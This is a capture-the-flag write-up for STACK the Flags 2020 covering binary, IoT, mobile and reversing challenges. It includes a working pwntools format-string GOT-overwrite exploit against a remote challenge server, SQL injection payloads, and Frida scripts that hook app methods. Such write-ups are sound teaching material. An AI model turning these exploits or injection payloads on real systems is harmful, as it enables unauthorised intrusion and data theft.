STACK the Flags 2020
Binary Exploitation
Beta reporting system
The developer working for COViD that we arrested refused to talk, but we found a program that he was working on his laptop. His notes have led us to the server where the beta is currently being hosted. It is likely that there are bugs in it as it is a beta.
Running the binary provided presents us with menu options to create and retrieve reports:
***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
1
Please enter the description of the report:
test description
Report created. Report ID is 1
***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
2
Please enter your name:
my name
Welcome my name!
Please enter report number or press 0 to return to menu:
1
Report details:
test description
Decompiling it dosen't present any obvious vulnerability. However, after missing a format string vulnerability in a previous CTF, I've taken to explicitly testing for it.
Oh hey:
***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
1
Please enter the description of the report:
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Report created. Report ID is 1
***************************
COVID Beta Case Reporting System
***************************
1. Make a new report summary
2. View Report
3. Delete Report
5. Quit
***************************
Enter your choice:
2
Please enter your name:
1
Welcome 1!
Please enter report number or press 0 to return to menu:
1
Report details:
0x8 0xf7f12580 0xf7e1ef07 0xf7f12d20 0x13 0x1 0x4 0xf7000031 0xa31 0x1 0xf7000031 0x1 0xf7f12d67 0x1 0xf7da7cbb 0x1 0x8048e40 0x13 0xf7f12d20 0xf7f12d67 0xf7f12d67 0xf7f12f20
Please enter report number or press 0 to return to menu:
Look at that! Although the report was created with the description of %p...
, when printed, we see a bunch of memory addresses instead. Lets decompile the relevant functions:
void makeareport(void) {
puts("Please enter the description of the report:");
comment = malloc(500);
read(0,comment,500);
*(int *)(reportlist + reporttotalnum * 8 + 4) = reporttotalnum + 1;
*(void **)(reportlist + reporttotalnum * 8) = comment;
printf("Report created. Report ID is %d\n",reporttotalnum + 1);
reporttotalnum = reporttotalnum + 1;
return;
}
undefined4 viewreport(void) {
size_t sVar1;
int in_GS_OFFSET;
int local_124;
uint local_120;
char local_11c [4];
char local_118 [8];
char local_110 [256];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
local_124 = -1;
puts("Please enter your name: ");
fgets(local_110,0x100,stdin);
sVar1 = strcspn(local_110,"\n");
local_110[sVar1] = '\0';
printf("Welcome %s!\n",local_110);
local_120 = 0;
while (local_120 < 4) {
local_11c[local_120] = local_110[local_120];
local_120 = local_120 + 1;
}
while (local_124 != 0) {
puts("Please enter report number or press 0 to return to menu: ");
fgets(local_118,8,stdin);
local_124 = atoi(local_118);
if ((local_124 < 0) || (reporttotalnum < local_124)) {
puts("invaild report number\n");
}
else {
if (local_124 == 0) {
puts("Returning to menu!");
}
else {
puts("Report details: ");
printf(*(char **)(reportlist + (local_124 + -1) * 8));
}
}
}
if (local_10 == *(int *)(in_GS_OFFSET + 0x14)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Although that looks terrible, lets break the functions down:
makeareport
allocates 500 bytes on the heap and reads from stdin
into this heap buffer. This buffer is then stored in reportlist
.
viewreport
prompts the user for their name and reads 256 bytes into a buffer on the stack and echoes the name. The user is then prompted for the report number and the report is displayed. Since the string is passed directly to the first parameter of printf
on Line 47, a format string vulnerability is exploitable here.
Format String Vulnerabilities
Lets take a look at how we can exploit this. Firstly, why was %p...
printed as a bunch of memory addresses even though we see on Line 47 that only one parameter is passed to printf
? Conventionally, we would call something like printf("Count :%d", currentCount)
, but our example does not provide subsequent arguments to print.
Well, when a function is called, its arguments are pushed onto the stack (slightly more complex for a 64 bit binary, but beta_reporting
is a 32 bit binary). This means that printf("Count :%d", currentCount)
becomes:
- Push
currentCount
onto the stack - Push address of
"Count :%d"
onto the stack - Call
printf
The stack thus looks like:
<data>
currentCount
Address of "Count :%d"
return address after printf
printf
then reads the value of currentCount
from the stack to print.
What happens if we execute printf("Count :%d")
then? Since we don't push any actual int
to the stack, printf
actually prints contents earlier in the stack!
This idea of passing a specially crafted format string such that we operate on prior data can be combined with %n
:
The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.
As such, if we create a format string that writes out characters, then utilise %n
to write to a location specified by a pointer on the stack, we actually have an arbitrary write!
Plan of Attack
Now how do we actually get our flag? There is two parts to this: we note the existence of magicfunction
(which we can access through 4
from the menu), and the existence of unknownfunction
(that is not called at all):
void magicfunction(void) {
magic._0_4_ = 0x67616c66;
return;
}
void unknownfunction(void) {
int __fd;
int in_GS_OFFSET;
undefined local_2f [31];
undefined4 local_10;
local_10 = *(undefined4 *)(in_GS_OFFSET + 0x14);
__fd = open((char *)&magic,0);
read(__fd,local_2f,0x1f);
close(__fd);
printf("%s",local_2f);
/* WARNING: Subroutine does not return */
exit(0);
}
We see that magicfunction
writes "flag"
into magic
. Conveniently, unknownfunction
opens and prints the contents of the file named magic
. This means that one course of action we can take is to call magicfunction
then unknownfunction
somehow.
Global Offset Table
To call unknownfunction
, one solution is to use the format string vulnerability identified earlier to write to the Global Offset Table (GOT). The GOT contains the addresses of external symbols like the standard C functions printf
, puts
, putchar
, exit
etc. If we overwrite the GOT entry of one of these functions, say, putchar
with the address of unknownfunction
, when our program calls putchar
, unknownfunction
will actually be called.
See this for more info on the Global Offset Table.
Putting it all together
To use the format string vulnerability to overwrite putchar@got
, we run into an issue: the report that we display is saved into the heap, but we need to put a pointer to putchar@got
on the stack in order to write to it.
The solution to this is to make use of the convenient request for the user's name to write the pointer to the stack.
We can use pwntools to create and execute this attack, dumping the payload into both the format string and name field. Note the offset of 11
was roughly estimated by putting a string like AAAA
into name
then manually checking which position it was printed at, though it can also be bruteforced through trial and error.
from pwn import *
FNAME = "beta_reporting"
# r = process(FNAME)
r = remote("yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg", 30121)
e = ELF(FNAME)
r.sendlineafter("choice:", "4") # call magicfunction
r.sendlineafter("choice:", "1") # create new report
payload = fmtstr_payload(11, {
e.got["putchar"]: e.symbols["unknownfunction"]
})
r.sendlineafter("report:", payload) # create new report with payload
r.sendlineafter("choice:", "2") # view report
r.sendlineafter("name:", payload) # dump same payload into name, so that when it executes from printf, it finds the appropriate pointer target on the stack
r.sendlineafter("menu:", "1") # execute payload
r.sendlineafter("menu:", "0") # trigger call to putchar
r.interactive()
Running this results in
$ python solve.py
[+] Opening connection to yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg on port 30121: Done
[*] '/home/justin/stf2020/pwn1/beta_reporting'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
Returning to menu!
govtech-csg{c0v1d_5y5tem_d0wn!}
Internet of Things
COVID's Communication Technology!
We heard a rumor that COVID was leveraging that smart city's 'light' technology for communication. Find out in detail on the technology and what is being transmitted.
We're given iot-challenge-1.logicdata
which we can open with Saleae Logic (I believe you have to use version 1.x). Opening it, we see a single channel:
Zooming in, we can see that the pulses have a base frequency of 38kHz - a very good hint that these are NEC IR pulses. Sadly, Saleae Logic does not have a built-in decoder for NEC IR, and the few plugins available online did not work for us.
We resorted to exporting the signal as a CSV file, then parsing it based on the protocol specification:
import csv
def within(x, y):
return abs(x-y) < 100e-6
def is_lead(pulse):
return within(pulse[0], 9e-3) and within(pulse[1], 4.5e-3)
def is_low(pulse):
return within(pulse[0], 562.5e-6) and within(pulse[1], 562.5e-6)
def is_high(pulse):
return within(pulse[0], 562.5e-6) and within(pulse[1], 1.6875e-3)
with open('iot1.csv', newline='') as csvfile:
reader = csv.reader(csvfile)
# drop header
next(reader)
start = None
data = [(float(row[0]), int(row[1][1:])) for row in reader]
out = []
for i, row in enumerate(data):
if i+1 == len(data):
break
time, state = row
nTime, nState = data[i+1]
if start is None:
if state == 1:
start = time
else:
if (nTime - time) > 30e-6 and state == 0 and nState == 1:
width = time - start
out.append((width, nTime - time))
start = None
i = 0
byte_vals = []
while True:
if i >= len(out):
break
if not is_lead(out[i]):
i += 1
continue
i += 1
block = []
for b in range(4):
byte_val = 0
for bit in range(8):
if is_high(out[i]):
byte_val |= (1 << (7-bit))
else:
assert(is_low(out[i]))
i += 1
block.append(byte_val)
byte_vals.append(block)
print(byte_vals)
Taking a look at the decoded data:
[0, 255, 103, 111], [0, 255, 118, 116], [0, 255, 101, 99], [0, 255, 104, 45], [0, 255, 99, 115], [0, 255, 103, 123], [0, 255, 73, 110], [0, 255, 102, 114], [0, 255, 97, 82], [0, 255, 69, 68], [0, 255, 95, 50], [0, 255, 48, 50], [0, 255, 48, 95], [0, 255, 67, 84], [0, 255, 102, 33], [0, 255, 64, 125]
Oddly enough, the third and forth bytes are supposed to be the bitwise inverse of each other (but are not). A quick look at the ASCII table (and yes, its very useful to memorise the first few characters of the flag format in both decimal and hex) suggests that both the third and forth bytes contain the flag:
o = ""
for v in byte_vals:
o+= chr(v[2])
o += chr(v[3])
print(o)
which gives
govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_CTf!@}govtech-csg{InfraRED_2020_
I Smell Updates
Agent 47, we were able to retrieve the enemy's security log from our QA technician's file! It has come to our attention that the technology used is a 2.4 GHz wireless transmission protocol. We need your expertise to analyse the traffic and identify the communication between them and uncover some secrets! The fate of the world is on you agent, good luck.
We're given a packet capture of Bluetooth communication. A quick scroll through highlights something interesting:
There is almost definitely a more elegant way of extracting this data, but to extract this binary, we:
- Right clicked on Value, select "Apply as column"
- File > Export Packet Dissections > As CSV
- Used a short script to parse and smush everything together
import csv
with open('iot_updates.csv', newline='') as csvfile:
reader = csv.reader(csvfile)
next(reader)
next(reader)
out = ""
for row in reader:
out += row[6]
print(out)
We get an ARM binary:
$ file firmware.bin
firmware.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=d73f4011dd87812b66a3128e7f0cd1dcd813f543, not stripped
Making use of QEMU to run the binary, we quickly realise its a binary checking for a specific password.
Decompiled:
char s; // [sp+54h] [bp-20h]
unsigned __int8 v20; // [sp+55h] [bp-1Fh]
unsigned __int8 v21; // [sp+56h] [bp-1Eh]
unsigned __int8 v22; // [sp+57h] [bp-1Dh]
unsigned __int8 v23; // [sp+58h] [bp-1Ch]
unsigned __int8 v24; // [sp+59h] [bp-1Bh]
unsigned __int8 v25; // [sp+5Ah] [bp-1Ah]
unsigned __int8 v26; // [sp+61h] [bp-13h]
char v27; // [sp+62h] [bp-12h]
char v28; // [sp+63h] [bp-11h]
int v29; // [sp+64h] [bp-10h]
strcpy(&v16, "Sorry wrong secret! An alert has been sent!");
v17 = 0;
v18 = 0;
strcpy(&v13, "Authorised!");
v14 = 0;
v15 = 0;
printf("Secret?");
fgets(&s, 10, (FILE *)stdin);
if ( strlen(&s) != 8 )
{
puts(&v16);
exit(0);
}
v28 = 105;
v29 = 0;
v3 = (unsigned __int8)s;
v4 = strlen(&s);
if ( v3 == magic((unsigned __int8)(v28 - v4)) )
++v29;
v5 = v20;
if ( v5 == magic((unsigned __int8)(v28 ^ 0x27)) )
++v29;
v6 = v21;
if ( v6 == magic((unsigned __int8)(v28 + 11)) )
++v29;
v7 = v22;
if ( v7 == magic((unsigned __int8)(2 * v20 - 51)) )
++v29;
v8 = v23;
if ( v8 == magic(66) )
++v29;
v9 = v24;
if ( v9 == magic((unsigned __int8)(8 * (v29 - 1)) | 1) )
++v29;
v27 = v23 + v24 + v22;
v26 = (v27 ^ (v22 + v24 + 66)) + 101;
v10 = v25;
if ( v10 == magic(v26) )
++v29;
if ( v29 == 7 )
puts(&v13);
else
puts(&v16);
Since the if
statements are comparing directly against the output of magic
(ie the input is not manipulated before being compared), the output of magic
is the correct input.
During the CTF, I reimplemented magic
and executed it:
#include <stdio.h>
#include <stdint.h>
int magic4(uint8_t a1) {
uint8_t v2 = a1;
int v3 = 0;
while(v3 <= 2) {
++ v3;
--v2;
}
return v2;
}
int sum(int a1, int a2) {
return -a2;
}
int magic3(uint8_t a1) {
uint8_t v1 = magic4(a1);
return (uint8_t) (v1 - sum(v1, 1));
}
int mod(char a1) {
if (a1)
return 1;
else
return 66;
}
int magic2(uint8_t a1) {
char v1 = magic3(a1);
return (uint8_t) (mod(v1) + v1);
}
int min(int a1, int a2) {
int v2;
if ( a1 <= a2 )
v2 = a2 % 2 + 1;
else
v2 = a1 - a2;
return v2;
}
int magic(uint8_t a1) {
char v1;
v1 = magic2(a1);
return (uint8_t) (min(3, 2) + v1);
}
void main() {
char v28 = 105;
char v4 = 8;
int v29 = 0;
char s = magic(v28 - v4);
++v29;
char v20 = magic(v28 ^ 0x27);
++v29;
char v21 = magic(v28 + 11);
++v29;
char v22 = magic(2 * v20 - 51);
++v29;
char v23 = magic(0x42u);
++v29;
char v24 = magic(8 * (v29 - 1) | 1);
++v29;
char v27 = v23 + v24 + v22;
uint8_t v26 = (v27 ^ (v22 + v24 + 66)) + 101;
char v25 = magic(v26);
printf("%c%c%c%c%c%c%c\n", s, v20, v21, v22, v23, v24, v25);
printf("%d %d %d %d %d %d %d\n", s, v20, v21, v22, v23, v24, v25);
}
However, while writing this, I realise it would be far easier to just debug the binary and note down the output values of magic
as the comparisons are made. While its entirely possible to setup gdb for use with QEMU, another "quicker" option might be to run the binary directly on an ARM device like a Raspberry Pi.
The valid token, aNtiB!e
, is the flag once wrapped with the flag format: govtechh-csg{aNtiB!e}
IOT RSA Token
We were able to get our hands on a RSA token that is used as 2FA for a website. From the token, we sniffed some data (capture.logicdata) and took some photos of the token. Lastly, we found a key written at the back of the token, the contents of which we placed into key.txt. Unfortunately, we dropped the token in the toilet bowl and it is no longer working. Using the data sniffed and the photos (rsa_token_setup.png and welcome_msg.png) taken, make sense of the data that is displayed on the rsa token, help us predict what the next rsa token will be!
This is only a partial writeup about how to extract the data displayed on the LCD.
Immediately from this image, we can conclude two things:
- We're dealing with a 16x2 LCD driven by a HD44780 (or some compatible chip)
- We're dealing with some form of I2C-based LCD backpack, possibly a PCF8574
Driving LCDs
To drive a HD44780-based LCD, there are a few signals we need to consider (Page 8 of the datasheet):
R/W
:0
for write,1
for read. For simplicity, since reading is not necessary for operation, this line is usually continuously set to0
RS
:0
to write instruction (configuration),1
to write data (characters)E
: starts data r/w on falling edge (ie whenE
goes from1
to0
. Note I refer to this signal asEN
DB4-DB7
: data pins (4 bit mode, the most common mode used). Note I refer to these signals asD4-D7
Although strictly speaking the LCD module has other pins for functions like controlling the backlight, we don't have to consider them.
A quick count of the signals above suggests we need at least 7 pins ( R/W
grounded) to drive the LCD. To reduce the number of GPIO pins needed (microcontrollers have limited GPIO), I2C port expanders like the PCF8574 are used. Rather than requiring 7 pins for a single LCD, we now require only 2 pins - a microcontroller can communicate with the port expander over I2C (2 pins), which will then control 8 pins.
The schematic above illustrates what I believe is the pinout used by the I2C expander in this challenge. For example, if the microcontroller writes 0x34
to the PCF8574, the pin states would be as follows:
D7 = 0
D6 = 0
D5 = 1
D4 = 1
EN = 1
RS = 0
These HD44780 LCDs are also most commonly driven in 4 bit mode: meaning that to write for example, 0x6E
, two writes of 0x6
and 0xE
are made.
Decoding I2C signals
Opening the logic analyser trace, we see:
We can guess that Channel 0 is sampling SCL
, while Channel 1 is sampling SDA
. SDA
and SCL
are the two signals of a I2C bus, commonly used for communication between devices on the same board.
We can then configure Saleae Logic's I2C analyser with these settings:
The image above shows two I2C operations, with each consisting of:
- Setup phase: selecting which device to write to. The PCF8574 discussed here is configured for address
0x4E
. - Write data
Since bit 0, RS
is 0
and bit 3, EN
is a falling edge (the position of RS
and EN
was determined by trial and error and observing patterns, alternatively, trying the common configuration presented here would also have worked), the two operations above perform a single write to the LCD to configure it in 8 bit mode ( 0x20
= function set
, 0x10
= 8 bit
). This can be verified by following the LCD writes that this function makes.
Putting it together
Rather than decoding this by hand, the data was exported (in binary mode) and parsed with a script. Since we're only interested in the data displayed, we just have to consider data written (ie EN
has a falling edge) when RS=1
(ie character data).
import re
import csv
"""
looks like its
note that the LA output is flipped
D4 D5 D6 D7 RS ?? EN ??
"""
RS = 3
EN = 1
# track number of writets
# first 4 writes are 4 bits, everything else 8 bits
writes = 0
written = []
with open('i2c.csv', newline='') as csvfile:
reader = csv.reader(csvfile)
next(reader)
prev = ("xxxx", "xxxx")
prevWritten = None
for i, row in enumerate(reader):
data = row[2]
if "Setup Write" in data:
assert(data == "Setup Write to [0b 0100 1110] + ACK")
continue
m = re.match("0b\s+([01]{4})\s+([01]{4}) +", data)
bits = (m.group(1) + m.group(2))
ctrl = bits[4:8]
data = bits[0:4]
# print(f'{ctrl=}: data={data}')
prevCtrl, prevData = prev
if data == prevData:
if ctrl[EN] == "0" and prevCtrl[EN] == "1": # if falling edge on EN
if writes >= 4:
# all writes after first 4 are 8 bits, MSB first
if prevWritten != None:
data = prevWritten + data # reassemble full byte from two nibbles
# print(f'write {data} {ctrl=}')
written.append((ctrl, data))
prevWritten = None
else:
# partial write, wait for next nibble
prevWritten = data
writes += 1
prev = (ctrl, data)
out = ""
for wr in written:
ctrl, data = wr
# print(f'{ctrl=} {data=}')
if ctrl[RS] == "1": # Data Register
out += chr(int(data, 2))
print(out)
This outputs:
govtech ctf welcome to iot username: govtechstack password: G0vT3cH!3sP@$$w0rD key: deeda1137ab01202 Qns of the day ?????????????? When was govtech founded? p.s the time was 9:06:50 GMT+08 09/11/20 10:44:50 461177 09/11/20 10:45:50 107307 09/11/20 10:46:50 233790 09/11/20 10:47:50 722277
Mobile
Many of the solutions here make heavy use of Frida with reference to https://android.jlelse.eu/hacking-android-app-with-frida-a85516f4f8b7 and https://neo-geo2.gitbook.io/adventures-on-security/frida-scripting-guide/methods. Frida was used to modify the state of the app running on the Android Emulator packaged with Android Studio.
Additionally, its often not obvious which Activity tallies with the challenge - during the CTF, this was resolved by testing flags on all available challenges until we find a match :)
The apk provided was decompiled with jadx. Activities (Java) are found in sources/sg/gov/tech/ctf/mobile/
, while the native library examined (C) is found in resources/lib/x86_64/libnative-lib.so
(the x86_64 library is analysed but they should all have the same functionality).
Korovax way to protect yourself!
Nope! Korovax do not provide self-defence classes but Korovax has learnt about the deadly COViD and came out several ways to protect their members! Well... does Korovax truly protect their members?
A few things are done here:
- On activity load, an instance of
Encryption
is created withgetKey()
andgetSalt()
- On button click, user input is encrypted and compared to
"fFFFx2ezHvklL5t3ViKP2qQtj4oGwL1zL7Ln5rKNafM="
It turns out that the decryption equivalent of Encryption.encryptOrNull
also exists - Encryption.decrypt
. As such, we can just use Frida to tamper with the apk running in an emulator, executing the following file with frida -U <pid of the app> -l protect.js
:
resulting in govtech-csg{1 Am Ir0N m@N}
A to Z of COViD!
Over here, members learn all about COViD, and COViD wants to enlighten everyone about the organisation. Go on, read them all!
Taking a look at sg.gov.tech.ctf.mobile.Info.AtoZCovid
, we see an interesting chunk of code:
case 42:
new BottomSheetDialogEdit("Put the flag here").e(getSupportFragmentManager(), "ModalBtmSheetEdit");
return;
Lets take a look at BottomSheetDialogEdit
then:
This does the following:
- AES encrypt the user input in chunks of 16 with the 256 bit key starting at
xmmword_354C0
(this is also known as ECB mode) - Compare the output with
unk_44030
and return successful if equivalent
We can simply use xmmword_354C0
to decrypt unk_44030
:
from Crypto.Cipher import AES
a = AES.new(bytes([0x2c, 0xd1, 0x00, 0xd4, 0x65, 0x84, 0x5d, 0x6f, 0x8b, 0x5c, 0x5f, 0x9d,
0x06, 0xf9, 0x36, 0xc5, 0xb7, 0x37, 0xa3, 0xa4, 0xbd, 0xc2, 0x80, 0xc2,
0xad, 0x21, 0x3f, 0xc2, 0xc6, 0xcf, 0x9d, 0x86]), AES.MODE_ECB)
print(a.decrypt(bytes([0x64, 0x55, 0x20, 0xde, 0x2c, 0xce, 0x85, 0xa4, 0xf9, 0xf7, 0xaf, 0xdc,
0x0a, 0x6c, 0xca, 0xe5, 0xcd, 0xec, 0x28, 0x85, 0x03, 0x17, 0x0d, 0x4d,
0xf8, 0x88, 0x63, 0xb3, 0xf6, 0xed, 0xec, 0x7e])))
Of course, seeing the flag of govtech-csg{N3@t_1nT3nTs_R1gHt?}
suggests that that the following is relevant...
Welcome to Korovax Mobile!
To be part of the Korovax team, do you really need to sign up to be a member?
SQL injection on the user login page with user
and ' OR 1=1; #
:
We can trace this from sg.gov.tech.ctf.mobile.User.AuthenticationActivity
to f.a.a.a.a.e
to f.a.a.a.a.c.a
:
public String e(String username, String password, SQLiteDatabase sqLiteDatabase) {
String password2 = password.toUpperCase();
String ret = "none";
try {
Cursor cursor = sqLiteDatabase.rawQuery(d("SELECT * FROM Users WHERE username= '" + username + "' AND " + "password" + " = '" + password2 + "';"), (String[]) null);
if (cursor == null || !cursor.moveToFirst() || cursor.getColumnCount() <= 0) {
cursor.close();
sqLiteDatabase.close();
return ret;
}
String ret2 = BuildConfig.FLAVOR;
return ret2 + cursor.getString(1);
} catch (Exception e2) {
ret = "Not a valid query!";
}
}
When we submit a password of ' OR 1=1; #
, the query becomes SELECT * FROM Users WHERE username= 'user' AND password = '' OR 1=1; #';
. This is a basic SQL injection attack, resulting in the query always returning the row with user
.
True or false?
True or false, we can log in as admin easily.
Oops. Decode the string by copying the contents of c.a.a.a
and its dependencies and executing it, heres the flag.
Based on the contents of the flag (and the hint when "Forget Password?" is clicked, the intended solution should be to perform a blind SQL injection (ie injection where you don't have any output printed) to recover the flag.
What's with the Search!
There is an admin dashboard in the Korovax mobile. There aren't many functions, but we definitely can search for something!
getPasswordHash()
returns 01b307acba4f54f55aafc33bb06bbbf6ca803e9a
, which we can throw into any of the hash lookup tools like CrackStation to find out its sha1(1234567890)
. The flag is thus govtech-csg{1234567890}
.
Network
Just how many times do we have to log in! Web has one, now mobile too?
Taking a look at NetworkActivity
, we find some odd bits of code:
To summarise:
d
makes a request to the same web server as Web - Logged In, but the output is just logged - nothing useful is done with it.c
seems to encode a username and password withmessy
after rotating witha
Taking a quick look at messy
:
messy
contains just XOR? What if its commutative?
What if we applied messy
on the string 717f4cda287d40c47e7b50cb772b4def5a415387257510d1
from Web - Logged In?
Java.perform(function () {
Java.scheduleOnMainThread(function () {
const Activity = Java.use("sg.gov.tech.ctf.mobile.Admin.NetworkActivity");
const act = Activity.$new();
const enc = "717f4cda287d40c47e7b50cb772b4def5a415387257510d1"
.match(/.{8}/g)
.map((i) => parseInt(i, 16));
let flag = "";
for (const e of enc) {
const out = act.messy(e, 8);
const bytes = JSON.parse(JSON.stringify(out));
// rotate to undo effects of `a`
bytes.push(bytes.shift());
for (const o of bytes) {
flag += String.fromCharCode(o);
}
}
console.log(flag);
});
});
Running the script outputs govtech-csg{3nCrYp+_m3}
.
All about Korovax!
As a user and member of Korovax mobile, you will be treated with a lot of information about COViD and a few in-app functions that should help you understand more about COViD and Korovax! Members should be glad that they even have a notepad in there, to create notes as they learn more about Korovax's mission!
We notice that sg.gov.tech.ctf.mobile.User.ViewActivity
is defined but never actually shown.
It seems that if we can display this activity and make a()
always return 1720543
, something is displayed. This can be done through Frida:
Java.perform(function () {
Java.scheduleOnMainThread(function () {
const Intent = Java.use("android.content.Intent");
const ViewActivity = Java.use("sg.gov.tech.ctf.mobile.User.ViewActivity");
ViewActivity.a.implementation = function () {
return 1720543; // magic number defined in apk
};
const ctx = Java.use("android.app.ActivityThread")
.currentApplication()
.getApplicationContext();
const intent = Intent.$new(ctx, ViewActivity.class);
intent.addFlags(268435456); // Intent.FLAG_ACTIVITY_NEW_TASK
ctx.startActivity(intent);
});
});
Clicking the button then prints a base64-encoded flag:
I've since learned that adb
can start activities directly - https://developer.android.com/studio/command-line/adb#am
Task, task, task!
Korovax supports their members in many ways, and members can set task to remind themselves of the things they need to do! For example, when to wash their hands!
Lets take a look at what checkFlag
does then:
encrypt
is called- Compare 32 bytes (256 bits) against the data at
xmmword_35460
, failing if equal (Line 26 - 30) - Compare 32 bytes against the data at
xmmword_35480
, failing again if equal (Line 36 - 39) - Compare 32 bytes against the data at
xmmword_35480
, returning 0 if all equal (ie success)
Tl;dr: encrypt(flag) == xmmword_35480
Based on the length of the data stored in memory and the check at the start of encrypt
, we can assume that the flag has to be 32 characters.
The solution we chose was to reverse this encryption algorithm by hand:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
void dump(char *data, int len) {
for (int i = 0; i < len; i++) {
printf("%02X ", data[i]);
}
puts("");
}
void enc(char *data, char len, char *out) {
int i = 0;
char *work = malloc(len);
if (work == NULL) {
puts("malloc fail 2");
return;
}
memset(out, 0, len);
memset(work, 0, len);
do {
char v10 = (*(int32_t *) &data[i]) >> 24; // v10 = *(_DWORD *)&a2[v9] >> 24;
*(int32_t *) &work[i] = ((*(int32_t *) &data[i]) << 8) | ((*(int32_t *) &data[i]) >> 24); // *(_DWORD *)&v7[v9] = __ROL4__(*(_DWORD *)&a2[v9], 8);
v10 ^= 0x6C; // LOBYTE(v10) = v10 ^ 0x6C;
out[i] = v10; // a1[v9] = v10;
char v11 = work[i + 1] ^ 0x33; // v11 = v7[v9 + 1] ^ 0x33;
out[i + 1] = v11 ^ v10; // a1[v9 + 1] = v11 ^ v10;
v10 = work[i + 2]; // LOBYTE(v10) = v7[v9 + 2];
out[i + 2] = v10 ^ v11 ^ 0x38; // a1[v9 + 2] = v10 ^ v11 ^ 0x38;
out[i + 3] = work[i + 3] ^ v10 ^ 0xF; // a1[v9 + 3] = v7[v9 + 3] ^ v10 ^ 0xF;
// printf("work at %d: ", i);
// dump(work+i, 4);
i += 4; // v9 += 4LL;
} while (i < len);
}
void dec(char *data, char len, char *out) {
int i = 0;
char *work = malloc(len);
if (work == NULL) {
puts("malloc fail 3");
return;
}
memset(out, 0, len);
memset(work, 0, len);
do {
char v10 = data[i];
char v11 = data[i + 1] ^ 0x33;
work[i + 1] = v11 ^ v10;
v11 = work[i + 1] ^ 0x33;
work[i + 2] = data[i + 2] ^ v11 ^ 0x38;
work[i + 3] = data[i + 3] ^ work[i + 2] ^ 0xF;
// printf("work at %d: ", i);
// dump(work+i, 4);
out[i + 3] = v10 ^ 0x6C;
out[i] = work[i + 1];
out[i + 1] = work[i + 2];
out[i + 2] = work[i + 3];
i += 4;
} while (i < len);
}
#define len 12
unsigned char ucDataBlock[96] = {
// Offset 0x00218208 to 0x00218303
0x18, 0x61, 0x34, 0x4F, 0x09, 0x65, 0x1A, 0x72, 0x33, 0x64, 0x30, 0x62,
0x11, 0x56, 0x2D, 0x24, 0x18, 0x4C, 0x03, 0x16, 0x41, 0x17, 0x0D, 0x04,
0x17, 0x47, 0x1B, 0x1B, 0x33, 0x79, 0x3D, 0x35, 0x33, 0x61, 0x1A, 0x4A,
0x59, 0x1E, 0x17, 0x56, 0x5F, 0x33, 0x64, 0x51, 0x11, 0x1D, 0x0B, 0x0F,
0x18, 0x4C, 0x03, 0x16, 0x41, 0x17, 0x0D, 0x04, 0x17, 0x47, 0x1B, 0x1B,
0x24, 0x47, 0x68, 0x4E, 0x28, 0x7C, 0x5C, 0x50, 0x33, 0x5F, 0x65, 0x50,
0x5D, 0x20, 0x24, 0x3A, 0x11, 0x54, 0x4E, 0x1D, 0x18, 0x4C, 0x03, 0x16,
0x41, 0x17, 0x0D, 0x04, 0x17, 0x47, 0x1B, 0x1B, 0x33, 0x69, 0x3D, 0x3D
};
void main() {
// char *out = malloc(len);
// if (out == NULL) {
// puts("malloc fail 1");
// return;
// }
// char test_data[len] = {'g', 'o', 'v', 't', 'e', 'c', 'h', 'c', 's', 'g', '!', '!'};
// enc(test_data, len, out);
// char *out2 = malloc(len);
// dec(out, len, out2);
// dump(test_data, len);
// dump(out, len);
// dump(out2, len);
char *out = malloc(32);
dec(ucDataBlock, 32, out);
puts(out);
dec(ucDataBlock+32, 32, out);
puts(out);
dec(ucDataBlock+64, 32, out);
puts(out);
}
The original encryption algorithm was also implemented - this allows us to check if our decryption algorithm is correct since decrypt(encrypt(input)) == input
should be true.
This returns multiple flags, of which the last is valid (after rotating it).
Ju5t_N3ed_2_tRy}govtech-csg{yOu_
ap5_th15_0n3???}govtech-csg{P3rH
g0oD_1n_NaT1v3!}govtech-csg{i_m_
Reverse Engineering
An Invitation
We want you to be a member of the Cyber Defense Group! Your invitation has been encoded to avoid being detected by COViD's sensors. Decipher the invitation and join in the fight!
We're given a HTML file and two JavaScript files. Running the HTML file, we see...an error.
Lets take a look at invite.js
since the other appears to be a publicly available library jQuery LED
.
Ah. Packed JavaScript. If we were to run this through de4js (paste in the code and actually click "Auto Decode", it becomes readable:
Running this code still gives the same error about gl
not being defined. Given the lack of clues on what gl.KG
is supposed to be, we note that gl.KG
is called with the output of the huge blob of JavaScript. If we were to replace gl.KG
with console.log
, we get the following:
